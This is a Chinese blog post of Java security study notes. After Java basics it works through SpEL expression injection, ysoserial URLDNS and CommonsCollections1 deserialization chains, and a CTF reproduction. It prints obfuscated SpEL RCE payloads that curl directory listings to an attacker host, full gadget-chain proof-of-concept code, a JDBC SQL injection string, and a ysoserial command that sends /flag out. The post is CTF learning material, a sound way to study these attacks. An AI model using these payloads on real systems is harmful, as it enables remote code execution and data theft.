JAVA安全

摸🐟一年,尝试了一会儿pytorch/BERT还摸了一下yolo,后面寒假连暑假,天天逃离塔科夫

很久没更博客了

JAVA基础

俺没啥爪洼基础,先看一眼

泛型

一种多态,泛型会被编译器处理,在编译过后会被替换为原来的原生类型

https://juejin.im/post/5b614848e51d45355d51f792#heading-11

上界通配符
下界通配符

注解

@Override 重写父类方法

@SuppressWarnings 抑制warning

@Deprecated 提醒你老旧版本

Java语言使用@interface语法来定义注解(Annotation

元注解

@Target 可以规定注解的对象

@Target({
    ElementType.METHOD,
    ElementType.FIELD
})
@Retention 定义注解的生命周期

反射

感觉和php反射差不多吧,javaweb的漏洞感觉很多时候会用到反射,在程序运行时可以获取任意一个类的各种信息

获取类的方法:

  • obj.getClass() 通过实例化的对象获取类
  • Class.forName 通过类的名字获取类
  • Class.class 通过已经加载了的类获取类(不算反射)

关于初始化

我们平时使用的forName其实是Class<?> forName(String name),是下面这个函数的一个封装,其中init=true,classloader=currentloader

Class<?> forName(String name, **boolean** initialize, ClassLoader loader)

所以使用forName时,会自动初始化对象,而使用.class时,不会自动初始化对象

动态代理

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class DynamicProxy implements InvocationHandler {
    private Object obj;
    DynamicProxy(Object obj){
        this.obj=obj;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result;
        if (method.getName().equals("ad")){
            System.out.println("要打广告了");
            result=method.invoke(obj,args);
        }else{
            result=method.invoke(obj,args);
            System.out.println("出售了");
        }
        return result;
    }
}
public class Vendor implements Sell{
    public void sell() {
        System.out.println("sell method");
    }

    public void ad() {
        System.out.println("ad method");
    }
}
import java.lang.reflect.Proxy;

public class Main {
    public static void main(String[] args) {
        //创建中介类
        DynamicProxy dynamicProxy=new DynamicProxy(new Vendor());
        //save一个代理类的文件
        System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles","true");
        //创建代理类的实例
        Sell sell = (Sell)(Proxy.newProxyInstance(Sell.class.getClassLoader(), new Class[] {Sell.class}, dynamicProxy));
        
        sell.sell();
        sell.ad();
    }
}

或者这样写更加紧凑一点👇

public static void main(String[] args) throws Throwable{
    Vendor target=new Vendor();
    Sell sell=(Sell)getProxy(target);
    sell.ad();
    sell.sell();
}

    private static Object getProxy(final Object target) throws Exception{
        Object proxy=Proxy.newProxyInstance(
                target.getClass().getClassLoader(),
                target.getClass().getInterfaces(),
                new InvocationHandler() {
                    @Override
                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                        Object result;
                        if (method.getName().equals("ad")){
                            System.out.println("要打广告了");
                            result=method.invoke(target,args);
                        }else{
                            result=method.invoke(target,args);
                            System.out.println("出售了");
                        }
                        return result;
                    }
                }
        );
        return proxy;
    }

关于RCE

两种构造方法

Maven

快进到springboot

SpringBoot

快进到spel


SpEL表达式注入

@RestController
public class IndexController {
    @RequestMapping("/index")
    public String index(@RequestParam("input") String input){
        SpelExpressionParser parser=new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
}
}

例题:code-breaking 2018 javacon

WSL2起的docker,在win做端口转发

netsh interface portproxy add v4tov4 listenport=80 connectaddress=127.0.0.1 connectport=80 listenaddress=* protocol=tcp
# netsh interface portproxy delete v4tov4 listenport=80 protocol=tcp
netsh interface portproxy add v4tov4 listenport=8081 connectaddress=127.0.0.1 connectport=8081 listenaddress=* protocol=tcp
# netsh interface portproxy delete v4tov4 listenport=80 protocol=tcp

下载源码分析逻辑,发现session中存在spel注入

没有回显 屏蔽 java.+lang Runtime exec.*

只需要在forName、getmethod等方法里面拼接字符串作为参数就可以了

注意base64一行最多76个字符,所以要使用tr命令把换行符换成其他符号,比如

最终payload差不多长这样

0.getClass().forName("java.lang.Runtime").getMethod("exec",String[].class).invoke(forName("java.lang.Runtime").getMethod("getRuntime").invoke("java.lang.Runtime"),new String[]{"/bin/bash","-c","`curl your_ip:port` ls / |base64|tr '\\n' '!' "})
public class Main {
    public static void main(String[] args) {
        Main a=new Main();
        System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{0.getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(0.getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(0.getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl your_ip:port/` ls / |base64|tr '\\n' '!' `\"})}"));
        // 0.getClass().forName("java.lang.Runtime").getMethod("exec",String[]).invoke(forName("java.lang.Runtime").getMethod("getRuntime").invoke("java.lang.Runtime"),new String[]{"/bin/bash","-c","`curl your_ip:port` ls / |base64|tr '\\n' '!' "})
    }
}

不过这题过滤得不够严格,ddctf的那道java过滤得更严格一点,写了个脚本跑出类似ddctf那道题的payload:

0.class.forName(T(Character).toString(106).concat(T(Character).toString(97)).concat(T(Character).toString(118)).concat(T(Character).toString(97)).concat(T(Character).toString(46)).concat(T(Character).toString(108)).concat(T(Character).toString(97)).concat(T(Character).toString(110)).concat(T(Character).toString(103)).concat(T(Character).toString(46)).concat(T(Character).toString(82)).concat(T(Character).toString(117)).concat(T(Character).toString(110)).concat(T(Character).toString(116)).concat(T(Character).toString(105)).concat(T(Character).toString(109)).concat(T(Character).toString(101))).getMethod(T(Character).toString(101).concat(T(Character).toString(120)).concat(T(Character).toString(101)).concat(T(Character).toString(99)),T(String[])).invoke(0.class.forName(T(Character).toString(106).concat(T(Character).toString(97)).concat(T(Character).toString(118)).concat(T(Character).toString(97)).concat(T(Character).toString(46)).concat(T(Character).toString(108)).concat(T(Character).toString(97)).concat(T(Character).toString(110)).concat(T(Character).toString(103)).concat(T(Character).toString(46)).concat(T(Character).toString(82)).concat(T(Character).toString(117)).concat(T(Character).toString(110)).concat(T(Character).toString(116)).concat(T(Character).toString(105)).concat(T(Character).toString(109)).concat(T(Character).toString(101))).getMethod(T(Character).toString(103).concat(T(Character).toString(101)).concat(T(Character).toString(116)).concat(T(Character).toString(82)).concat(T(Character).toString(117)).concat(T(Character).toString(110)).concat(T(Character).toString(116)).concat(T(Character).toString(105)).concat(T(Character).toString(109)).concat(T(Character).toString(101))).invoke(0.class.forName(T(Character).toString(106).concat(T(Character).toString(97)).concat(T(Character).toString(118)).concat(T(Character).toString(97)).concat(T(Character).toString(46)).concat(T(Character).toString(108)).concat(T(Character).toString(97)).concat(T(Character).toString(110)).concat(T(Character).toString(103)).concat(T(Character).toString(46)).concat(T(Character).toString(82)).concat(T(Character).toString(117)).concat(T(Character).toString(110)).concat(T(Character).toString(116)).concat(T(Character).toString(105)).concat(T(Character).toString(109)).concat(T(Character).toString(101)))),new String[]{"/bin/bash","-c","curl your_ip:port/` ls / |base64|tr '\n' '!'`"})

成功执行命令,虽然payload有点长


JAVA RMI

服务端注册一个RMI Registry,客户端可以根据name向RMI Registry查询对象,然后建立第二次tcp连接去请求辣个对象

JAVA的RMI也依赖于序列化和反序列化

快进到反序列化

JAVA反序列化

序列化的时候会调用writeobject,writeobject的内容会被放在objectannotation中

反序列化的时候会调用readobject

这两个就像php里的__sleep和__wakeup

YSoSerial-URLDNS

生成payload的链

  • 主类GeneratePayload
  • ObjectPayload->getObject()
  • URLDNS->getobject() 这个方法最后会return一个Hashmap对象,所以直接看hashmap的readobject方法即可
  • HashMap->put()
  • HashMap->hash(Object key) 此时的key是一个java.net.URL对象
  • URL->hashCode(),此时调用handler.hashCode(),而此时handler为URLDNS$SilentURLStreamHandler,这个类是YSoSerial自己实现的一个类,继承了URLStreamHandler,目的是为了运行脚本的时候不发送DNS请求
  • URLStreamHandler->getHostAddress 在这个函数中java将会发起dns请求,在这里ysoserial脚本中直接return null

反序列化的链

因为URLDNS->getobject()方法返回的对象是HashMap,所以直接跟hashmap的readobject方法

  • HashMap->readobject()
  • hashMap->hash()

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://a.69bf6x.dnslog.cn" >a.bin

反序列化生成的bin文件以后,可以看到dnslog

import java.io.*;
public class Main{
    public static void main(String[] args) throws Exception{
        FileInputStream fin = new FileInputStream("C:\\.....\\a.bin");
        ObjectInputStream in = new ObjectInputStream(fin);
        in.readObject();
        in.close();
        fin.close();
    }
}

YSoSerial-CommonCollections1

TransformedMap链

感觉TransformedMAP有点PHP的call_user_func_array的感觉

一个利用的demo:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"calc.exe"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

上面的代码中有几个地方需要理解,首先是最后一句outMap.put中,会触发transformerChain中所有对象的transform方法

public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

在transform方法中,object=this.iTransformers[i].transfrom(object);,明显是将iTransformers中上一个元素的返回结果当作参数传给下一个元素

  • 第一次执行:把xxx传给Runtime(ConstantTransformer)
  • 第二次执行:把Runtime传给exec(InvokerTransformer)
第二次执行transform方法

从上面两张图可以看出,method.invoke(input,this.iArgs)就是执行了

Runtime.class.getMethod("exec",String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Runtime.class),"calc.exe");

结果就是弹出一个计算器

//constantTransformer 返回原本的object
public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
//invokerTransformer 调用方法
public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

知道了如何执行调用计算器的函数以后,我们在退回一步,看看TransformedMap.decorate和chainedTransformer

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
 }
chainedTransformer

到这里就完全理解了这个demo,接下来要生成可用的Payload,那么我们首先需要找到一个类的readObject,而且在这个readObject里还要有增加或者修改map的操作

这个类就是sun.reflect.annotation.AnnotationInvocationHandler

//构造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.9 = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

//readobject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;
        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {

//此处调用setValue,那么只要让memberValues=outermap即可
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

另外,Runtime类不能序列化,要使用反射类,而且要保证var7!=null,所以var5中key的值必须为”value”

所以我们可以得到第一个可以在jdk版本小于8u71的环境中生效的poc

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                //还需要填充 调用getRuntime得到Runtime实例
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        /*
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"calc.exe"}),
        };
         */
        Transformer transformerChain = new
                ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","xx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        //outerMap.put("test", "xxxx");
        //readobject 替代 outerMap.put
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
            Object obj = construct.newInstance(Retention.class, outerMap);

        //生成payload
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream oos = new ObjectOutputStream(f);
        oos.writeObject(obj);
        oos.close();

        //服务端反序列化
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
    }
}

LazyMap链

LazyMap链是ysoserial中真正用到的cc1反序列化链,在poc中修改outerMap

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

在LazyMap中的get方法会调用transform方法

public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

然而AnnotationInvocationHandler的readobject方法不会调用get方法,并且AnnotationInvocationHandler中的invoke方法调用了get方法,所以我们使用代理类触发invoke方法,最后再把代理类包装到AnnotationInvocationHandler里即可,最终Poc如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class RealCommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                //还需要填充 调用getRuntime得到Runtime实例
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        /*
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"calc.exe"}),
        };
         */
        Transformer transformerChain = new
                ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","xx");
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
            Object obj = construct.newInstance(Retention.class, outerMap);
        //代理
        InvocationHandler handler=(InvocationHandler)construct.newInstance(Retention.class,outerMap);
        Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler);
        //转回InvocationHandler
        handler=(InvocationHandler)construct.newInstance(Retention.class,proxyMap);
        //生成payload
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream oos = new ObjectOutputStream(f);
        oos.writeObject(handler);
        oos.close();

        //服务端反序列化
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
    }
}

随便找一题感受一下

[网鼎杯 2020 朱雀组]Think Java复现

有个swagger-ui.html

先是jdbc sql注入,这里使用#号

dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;

或者myapp%3fasdsadasd%3d'+union+SELECT%20pwd%20from%20user+limit+0,1%23这样的也可以,因为jdbc:mysql://这里会做一个类似url的解析

用用户名密码登录了以后有个Authorization:bearer xxx,以rO0AB开头,可以知道是java序列化的数据经过Base64编码,另外如果以aced开头,则是16进制编码的数据,然后使用java -jar ysoserial-0.0.5-all.jar ROME "curl http://18176-6a03bf61-ed70-4d81-ac26-454a510e2255:2333 -d @/flag" |base64| tr -d '\n'即可(-d参数可以读取本地文本文件的数据,向服务器发送。)(在buuoj上复现的,要开个frp)


这一篇先这样8,上面这个题感觉和反序列化关系并不是很大,后面找一些好一点的题复现,顺便也多看几条ysoserial里的利用链,再看看fastjson和weblogic啥的

发表评论

邮箱地址不会被公开。 必填项已用*标注